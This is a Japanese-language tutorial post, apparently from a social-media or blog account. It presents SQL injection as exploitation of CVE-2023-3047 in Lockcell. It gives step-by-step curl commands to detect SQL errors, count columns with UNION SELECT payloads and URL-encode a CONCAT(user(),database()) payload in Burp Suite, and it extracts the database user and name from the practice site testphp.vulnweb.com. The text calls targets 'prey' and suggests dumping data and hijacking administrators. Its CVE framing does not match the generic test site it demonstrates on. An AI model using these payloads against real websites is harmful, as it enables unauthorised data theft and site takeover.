
@ghostman_s3c または @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5TMT Lockcell における SQL コマンドで使用される特殊要素の不適切な無害化('SQLインジェクション')の脆弱性により、SQLインジェクションが可能になります。この問題は Lockcell 15 より前のバージョンに影響します。
まず、CVE-2023-3047 のエラーがあるかどうかを確認します。ターミナルを開き、すべてのターミナルが cURL ツールをサポートしていることを確認してください。
curl <your_url_vulnerable> | grep "at line"
Enterキーを押した後、100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 のように表示されたら、あなたのWebサイトは CVE-2023-3047 のエラーの影響を受けています。
では、次にこのWebサイトがこれらのインジェクション攻撃をブロックするかどうかを確認してみます。次のコマンドを試してください。
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
Enterキーを押すと、下の画像のように表示された場合、あなたはおいしい獲物を手にしたことになります。
そして今度は、MySQL Webサイトのカラム数として有効と見なされる特定の数まで、UNION SELECT ペイロードを 1 から続けていく必要があります。
私のターゲットでは、1 から 11 が有効なカラム数でした。下の画像では、2 つのまったく異なる結果が表示されています。上側にはまだ The used SELECT があり、下側にはありません。
次に、Google で検索して、上記の結果が有効かどうかを確認します。すると、都合よく、情報を取得できる別のカラム番号も見つかります。
これは完全に有効な結果のようです。情報を取得するために注入できるカラム番号が 3 つあります。
それでは、情報を取得するために SQL コマンドを注入する練習をします。
そして、次のペイロードを使用します : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
あらら、このコマンドはあまり良くないようです。ペイロードを URL にエンコードしていないためです。
そこで、サイバー攻撃を続けるために、そのペイロードを URL パスにエンコードします。
エンコードには Burp Suite を使用します。
まず Decoder を選択し、画面左側の Encode as を選択して、URL を選択し、ペイロードを入力します。前述のエラーに関しては、括弧 ( ) のような特殊文字が含まれているため、十分な要件を満たしていません。そこで、データベース情報を取得するために挿入するコマンドだけをエンコードします。
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
Enterキーを押すと、ゲームは終了です。ユーザー名とデータベースが露呈しました。それだけでなく、攻撃者は他のペイロードを注入して、さらなる情報を取得できます。例えば、データベースのデータをダンプして情報を盗んだり、Webサイトの管理者を乗っ取ったりすることができます。
これでゲームオーバーです。ユーザー名は acuart@localhost、データベース名は acuart です。